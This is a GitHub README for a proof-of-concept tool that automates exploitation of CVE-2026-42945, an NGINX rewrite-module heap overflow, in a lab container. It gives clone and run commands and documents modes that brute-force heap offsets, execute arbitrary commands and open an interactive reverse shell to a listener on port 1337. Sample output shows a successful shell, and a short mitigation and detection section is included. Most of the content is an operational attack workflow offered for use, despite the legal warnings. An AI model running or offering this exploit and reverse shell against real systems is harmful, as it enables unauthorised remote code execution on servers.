
Automates CVE-2026-42945 exploitation in NGINX containers: verifies vulnerable targets, brute-forces heap offsets, executes commands, and opens an interactive reverse shell.
PoC Automation Driver for RCE exploitation of the nginx-rift container · Target verification → Single-command exploit → Interactive reverse shell
One command orchestrates the entire exploit flow — from container check to getting a shell.
⚠️ Ethical & Legal Warning This tool is only for authorized and legitimate security testing — contracted pentests, lab/CTF, or your own assets. Using it without the system owner's permission is a criminal offense (ITE Law, Computer Fraud and Abuse Act, etc.). Users bear full responsibility for its use.
CVE-2026-42945 is a Remote Code Execution (RCE) vulnerability in the NGINX "Rift" configuration — a heap-based buffer overflow bug in the ngx_http_rewrite_module triggered via a specific location block (/api/users/...). The impact is that an attacker can execute commands through the system() handler inside the container.
This repository contains 2 components:
| File | Function |
|---|---|
poc.py | Exploit driver — heap offset brute-force, two modes: --cmd (single command) & --shell (reverse shell) |
scan.sh | Automation orchestrator — target verification, run PoC, verify results, & interactive shell session |
┌─────────────────────────────┐
│ scan.sh │
│ Mode: auto / cmd / shell │
└─────────────┬───────────────┘
▼
[0] Preflight
cek docker, curl, python3,
nc, timeout + poc.py ada
▼
[1] Verifikasi Target
docker ps (label compose)
→ curl /api/users/42 (HTTP 200)
▼
[2] PoC --cmd (max 3× retry)
python3 poc.py --cmd 'echo hello
from depthfirst > /tmp/pwned'
│
▼ (timeout 300s per attempt)
Verifikasi ground-truth:
docker exec cat /tmp/pwned
▼
[3] PoC --shell (opsional)
listener 172.17.0.1:1337
→ prompt /bin/sh interaktif
Operator (host where the script is run):
docker (with sudo or a user in the docker group)python3 + poc.py (in the same directory as scan.sh)curl, nc (netcat), timeout (coreutils)Target (lab):
nginx-rift container is up (provisioned via docker compose)19321 is open on 127.0.0.1172.17.0.1 for the host listener)# 1. Clone
git clone https://github.com/Kentox493/CVE-2026-42945_NginxRift.git
cd CVE-2026-42945_NginxRift
# 2. Pastikan executable
chmod +x scan.sh
# 3. (Opsional) Verifikasi dependensi
command -v docker python3 curl nc timeout
scan.sh and poc.py must be in the same directory.
./scan.sh # alur lengkap (default: auto)
./scan.sh cmd # hanya PoC single-command + verifikasi marker
./scan.sh shell # langsung reverse-shell interaktif
./scan.sh help # tampilkan bantuan
auto (default)--cmd — write the hello from depthfirst marker to /tmp/pwned inside the container (automatic retry max 3×, 300s timeout per attempt).docker exec cat /tmp/pwned must contain the marker (ground truth, not just reading output).y for an interactive session.shell./scan.sh shell
Runs poc.py --shell with listener 172.17.0.1:1337. After a successful brute-force, you get an interactive /bin/sh prompt as the NGINX worker user inside the container.
Note: The IP
172.17.0.1is the host address on the default Docker bridge. If your bridge is different (docker network inspect bridge), change theLISTEN_IPvariable at the top ofscan.sh.
All parameters are gathered in the configuration block at the top of scan.sh:
┌──────────────────────────────────────────────────────────────┐
│ NGINX RIFT · CVE-2026-42945 · PoC Automation Driver │
└──────────────────────────────────────────────────────────────┘
── 0 ── Preflight
[+] Semua dependensi tersedia (docker, curl, python3, nc, timeout, poc.py)
── 1 ── Verifikasi Container & Target
[+] Container 'nginx-rift-nginx-1' berjalan
[+] Target responsif (HTTP 200): http://127.0.0.1:19321/api/users/42
── 2 ── PoC Single-Command (--cmd)
[i] Payload : echo hello from depthfirst > /tmp/pwned
[i] Target : 127.0.0.1:19321
[!] Percobaan 1/3 — brute-force loop berjalan (timeout 300s)...
[*] trying offset 0x8a0
[*] crashed - system("...") executed
[i] Percobaan 1 selesai dalam 42 detik (rc=0)
[+] Exploit BERHASIL — marker terverifikasi: 'hello from depthfirst' (milik root)
[?] Lanjut ke reverse-shell interaktif? [y/N]: y
── 3 ── PoC Reverse-Shell (--shell)
[i] Reverse shell akan terhubung ke 172.17.0.1:1337
[i] poc.py membuka listener netcat lokal lalu menjalankan brute-force
[+] Connection from 172.18.0.2:49312
/bin/sh: 0# id
uid=1000(nginx) gid=1000(nginx) groups=1000(nginx)
ngx_http_rewrite_module / remove the Rift configuration.0.0.0.0; use an internal network + reverse proxy with a WAF.--privileged./api/users/ (non-numeric patterns, long payloads); detect /bin/sh spawns from the nginx process.CVE-2026-42945_NginxRift/
├── scan.sh # Automation orchestrator (bash) — verifikasi, PoC, verifikasi marker, shell
├── poc.py # Exploit driver (python) — brute-force heap offset, mode --cmd / --shell
└── README.md # Dokumentasi ini
For legitimate use only. This tool is intended for:
You must have written permission from the system owner before running this tool on any infrastructure.
The repository is provided "as-is" without any warranty. Contributors are not responsible for misuse.
License: MIT
ngx_http_rewrite_module — official documentation| Item | Detail |
|---|
| CVE | CVE-2026-42945 |
| Type | Remote Code Execution (RCE) |
| Component | NGINX (ngx_http_rewrite_module) — "Rift" configuration |
| Trigger | Request to the vulnerable location block (/api/users/{id}) |
| Impact | Arbitrary command execution as the NGINX worker user inside the container |
| Lab Setup | Container nginx-rift-nginx-1 — host port 19321 |
| Variable | Default | Function |
|---|
DOCKER | sudo docker | Replace with docker if the user is already in the docker group |
PROJECT_LABEL | com.docker.compose.project=nginx-rift | Container identification filter |
CONTAINER | nginx-rift-nginx-1 | Target container name |
TARGET_HOST / TARGET_PORT | 127.0.0.1 / 19321 | Target address |
LISTEN_IP / LISTEN_PORT | 172.17.0.1 / 1337 | Reverse shell listener |
MARKER_FILE / MARKER_EXPECT | /tmp/pwned / hello from depthfirst | Execution verification |
CMD_TIMEOUT | 300 | Timeout per attempt (seconds) |
MAX_ATTEMPTS | 3 | Number of retries for PoC --cmd |
| Problem | Solution |
|---|
Container ... tidak berjalan | cd <project-dir> && sudo docker compose up -d, then retry |
HTTP 000 / connection refused | Port 19321 not ready yet — wait a few seconds, check docker ps |
File 'poc.py' tidak ditemukan | Run scan.sh from the repo directory (poc.py must be in the same directory) |
PoC --cmd keeps failing (3×) | Increase MAX_ATTEMPTS / CMD_TIMEOUT; make sure the kernel & NGINX version match the lab |
| Reverse shell won't connect | Check that LISTEN_IP matches the bridge (docker network inspect bridge); make sure port 1337 is not in use |
Error unrecognized arguments | Make sure your poc.py version supports the --listen-ip/--listen-port flags (see python3 poc.py -h) |